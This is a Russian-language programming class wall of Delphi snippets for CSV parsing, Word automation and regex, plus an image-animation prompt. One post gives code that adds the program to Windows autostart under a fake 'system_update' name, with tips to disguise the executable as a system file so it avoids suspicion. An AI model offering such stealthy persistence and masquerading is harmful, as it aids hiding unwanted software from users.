0
7 месяцев назад

Горизонт Горизонт

Основная информация

Время обучения: Суббота 11.40-13.40
Дополнительное занятие: Вторник 17.20 

Стена группы

Давид 2 месяца назад #

Изображение

Нз 2 месяца назад #

Изображение

Нз 2 месяца назад #

Изображение

Богдан С 2 месяца назад #

Изображение

АрсКодер 2 месяца назад #

procedure TForm1.Button1Click(Sender: TObject);
var
  Employees: TEmployeeArray;
  Emp: TEmployee;
begin
  Employees := LoadEmployeesFromCSV('employees.csv');

  // Пример вывода в Memo или консоль
  for Emp in Employees do
  begin
    Memo1.Lines.Add(Format('%s %s %s — %s, тел: %s, родился: %s',
      [Emp.LastName, Emp.FirstName, Emp.MiddleName,
       Emp.Position, Emp.Phone,
       DateToStr(Emp.BirthDate)]));
  end;
end;

АрсКодер 2 месяца назад #

type
  TEmployee = record
    LastName: string;
    FirstName: string;
    MiddleName: string;
    Position: string;
    Phone: string;       // или Int64, если только цифры и без формата
    Email: string;
    BirthDate: TDate;    // дата в формате Delphi
    Address: string;
  end;

  TEmployeeArray = array of TEmployee;


---


uses
  System.SysUtils, System.Classes, System.DateUtils, System.StrUtils;

function LoadEmployeesFromCSV(const FileName: string): TEmployeeArray;
var
  CSVFile: TStringList;
  i: Integer;
  Fields: TArray<string>;
  Emp: TEmployee;
  Line: string;
begin
  SetLength(Result, 0);
  if not FileExists(FileName) then
    Exit;

  CSVFile := TStringList.Create;
  try
    CSVFile.LoadFromFile(FileName, TEncoding.UTF8); // Укажите кодировку, если нужно

    // Пропускаем заголовок (первую строку)
    if CSVFile.Count > 0 then
      CSVFile.Delete(0);

    for i := 0 to CSVFile.Count — 1 do
    begin
      Line := Trim(CSVFile[i]);
      if Line = '' then
        Continue;

      // Разделяем строку по запятым (базовый CSV-парсинг)
      // ⚠️ В реальном проекте лучше использовать полноценный CSV-парсер,
      // чтобы обрабатывать запятые внутри кавычек и т.п.
      Fields := SplitString(Line, ',');

      if Length(Fields) <> 8 then
        Continue; // Пропускаем строки с неправильным количеством полей

      Emp.LastName   := Fields[0];
      Emp.FirstName  := Fields[1];
      Emp.MiddleName := Fields[2];
      Emp.Position   := Fields[3];
      Emp.Phone      := Fields[4]; // или StrToInt64Def(Fields[4], 0) — если нужен числовой тип
      Emp.Email      := Fields[5];

      // Преобразуем дату из формата «дд.мм.гггг» в TDate
      if not TryStrToDate(Fields[6], Emp.BirthDate, 'dd.mm.yyyy') then
        Emp.BirthDate := 0; // или пропустить запись

      Emp.Address    := Fields[7];

      // Добавляем в массив
      SetLength(Result, Length(Result) + 1);
      Result[High(Result)] := Emp;
    end;

  finally
    CSVFile.Free;
  end;
end;

АрсКодер 3 месяца назад #

Realistic photo animation of a black-and-white historical photograph. Subtle, natural motion only: gentle blinking, slight head movement, soft breathing, wind in hair or clothes — nothing exaggerated. Preserve original facial features, clothing, and background details. No fantasy elements, no colorization unless specified. Maintain vintage film grain and authentic 20th-century aesthetic. Cinematic, documentary-style, emotionally grounded.

Нз 3 месяца назад #

как фиксить

Изображение

Игнат 4 месяца назад #

ИзображениеИзображениекак это чинить

1 ответ
Даниил К 4 месяца назад #

procedure ReplaceTextInWordDocument(const FileName, FindText, ReplaceText: string);
const
  wdReplaceAll = 2;
var
  WordApp, WordDoc, Find: OleVariant;
begin
  WordApp := CreateOleObject('Word.Application');
  try
    WordApp.Visible := False; // Или True — если нужно видеть процесс

    // Открытие документа
    WordDoc := WordApp.Documents.Open(FileName);

    // Получаем Find у всего содержимого документа
    Find := WordDoc.Content.Find;
    Find.ClearFormatting;
    Find.Replacement.ClearFormatting;

    // Настройка текста для поиска и замены
    Find.Text := FindText;
    Find.Replacement.Text := ReplaceText;

    // Выполнение замены
    Find.Execute(Replace := wdReplaceAll);

    // Сохраняем и закрываем документ
    WordDoc.Save;
    WordDoc.Close(False);
  finally
    WordApp.Quit;
  end;
end;

Даниил К 4 месяца назад #

Папка автозагрузки Windows (для текущего пользователя):

mathematica
КопироватьРедактировать
  1. <span class="hljs-built_in">C</span><span class="hljs-operator">:</span>\<span class="hljs-variable">Users</span>\<span class="hljs-operator"><</span>Имя<span class="hljs-type">_</span>Пользователя<span class="hljs-operator">></span>\<span class="hljs-variable">AppData</span>\<span class="hljs-variable">Roaming</span>\<span class="hljs-variable">Microsoft</span>\<span class="hljs-variable">Windows</span>\<span class="hljs-variable">Start</span> <span class="hljs-built_in">Menu</span>\<span class="hljs-variable">Programs</span>\<span class="hljs-variable">Startup</span>
  2.  

Или проще:

  • Нажми

    1. Win + R
    → введи
    1. shell:startup
    → Enter

  • Откроется нужная папка


🔨 2. Как добавить программу в автозагрузку?

Способ 1 — вручную:

  1. Скомпилируй проект (получи

    1. .exe
    )

  2. Создай ярлык

    1. .lnk
    к твоему
    1. .exe

  3. Помести ярлык в папку

    1. Startup


Способ 2 — программно (из Delphi):

Если хочешь, чтобы Delphi-программа сама себя добавляла в автозапуск при первом запуске:

pascal
КопироватьРедактировать
  1. uses
  2. ShlObj, ActiveX, ComObj;
  3.  
  4. procedure AddToStartup;
  5. var
  6. StartupFolder, ShortcutPath: string;
  7. ShellLink: IShellLink;
  8. PersistFile: IPersistFile;
  9. begin
  10. // Путь к папке автозагрузки
  11. SetLength(StartupFolder, MAX_PATH);
  12. SHGetSpecialFolderPath(0, PChar(StartupFolder), CSIDL_STARTUP, False);
  13.  
  14. // Путь к ярлыку
  15. ShortcutPath := IncludeTrailingPathDelimiter(StartupFolder) + 'system_update.lnk';
  16.  
  17. // Создаём ярлык
  18. ShellLink := CreateComObject(CLSID_ShellLink) as IShellLink;
  19. ShellLink.SetPath(PChar(ParamStr(0))); // путь к exe
  20. ShellLink.SetDescription('System update');
  21.  
  22. // Сохраняем ярлык
  23. PersistFile := ShellLink as IPersistFile;
  24. PersistFile.Save(PWideChar(WideString(ShortcutPath)), False);
  25.  

Вызови

  1. AddToStartup;
в
  1. FormCreate
, только один раз (чтобы не дублировалось).


✅ Советы по маскировке:

  • Назови файл как

    1. system_update.exe
    ,
    1. driver32.exe
    ,
    1. win_update.exe
    — чтобы не вызывало подозрений.

  • Можно спрятать EXE в

    1. AppData
     и ярлык назвать по-системному.

АрсКодер 4 месяца назад #
procedure TForm1.Button2Click(Sender: TObject);
var
  WordApp, Document, Paragraphs, Paragraph: Variant;
  i: Integer;
  OldText, NewText: string;
begin
  OldText := 'city';
  NewText := 'Арсеньев';
 
  try
    WordApp := CreateOleObject('Word.Application');
    WordApp.Visible := True;
 
    // Открываем документ
    Document := WordApp.Documents.Open('D:\Temp\шаблон.docx');
 
    // Получаем коллекцию абзацев
    Paragraphs := Document.Paragraphs;
 
    // Перебираем каждый абзац и заменяем текст вручную
    for i := 1 to Paragraphs.Count do
    begin
      Paragraph := Paragraphs.Item(i);
      Paragraph.Range.Text := StringReplace(Paragraph.Range.Text, OldText, NewText, [rfReplaceAll, rfIgnoreCase]);
    end;
 
    // Сохраняем и закрываем
    Document.Save;
    Document.Close(False);
    WordApp.Quit;
  except
    on E: Exception do
      ShowMessage('Ошибка: ' + E.Message);
  end;
 
end;
 
АрсКодер 4 месяца назад #
var
  LineNumber: Integer;
  CursorPosition: Integer;
  LineStartPos: Integer;
begin
  // Получаем позицию курсора в тексте
  CursorPosition := Memo1.SelStart;
 
  // Изначально линия начинается с нуля
  LineStartPos := 0;
  LineNumber := 1;  // Номер строки начинаем с 1
 
  // Пробегаем по всем строкам в Memo
  while LineStartPos < CursorPosition do
  begin
    // Позиция следующей строки
    LineStartPos := LineStartPos + Length(Memo1.Lines[LineNumber — 1]) + 1; // +1 для символа новой строки
    Inc(LineNumber);
  end;
 
  // Выводим номер строки
  ShowMessage('Курсор находится на строке: ' + IntToStr(LineNumber));
АрсКодер 4 месяца назад #

Пример использования регулярных выражений:

delphi
КопироватьРедактировать
  1. uses
  2. System.RegularExpressions, SysUtils;
  3.  
  4. function GetTextBetweenTags(const HTML, Tag: string): string;
  5. var
  6. Regex: TRegEx;
  7. Match: TMatch;
  8. begin
  9. Regex := TRegEx.Create(Format('<%s[^>]*>(.*?)</%s>', [Tag, Tag]), [roIgnoreCase]);
  10. Match := Regex.Match(HTML);
  11. if Match.Success then
  12. Result := Match.Groups[1].Value
  13. else
  14. Result := '';
  15. end;
  16.  
  17. procedure TForm1.Button1Click(Sender: TObject);
  18. var
  19. HTML: string;
  20. TitleText: string;
  21. begin
  22. HTML := '<html><head><title>Пример страницы</title></head><body><h1>Заголовок страницы</h1></body></html>';
  23.  
  24. TitleText := GetTextBetweenTags(HTML, 'title');
  25. ShowMessage('Текст в теге <title>: ' + TitleText); // Пример использования
  26. end;
  27.  

Объяснение:

  • Регулярное выражение

    1. '<%s[^>]*>(.*?)</%s>'
    ищет содержимое между тегами, включая атрибуты, если они есть.

  • В методе

    1. GetTextBetweenTags
    извлекается текст между тегами
    1. <Tag>
    и
    1. </Tag>
    , используя регулярное выражение.

Сайт АрсКодер использует cookie 🍪.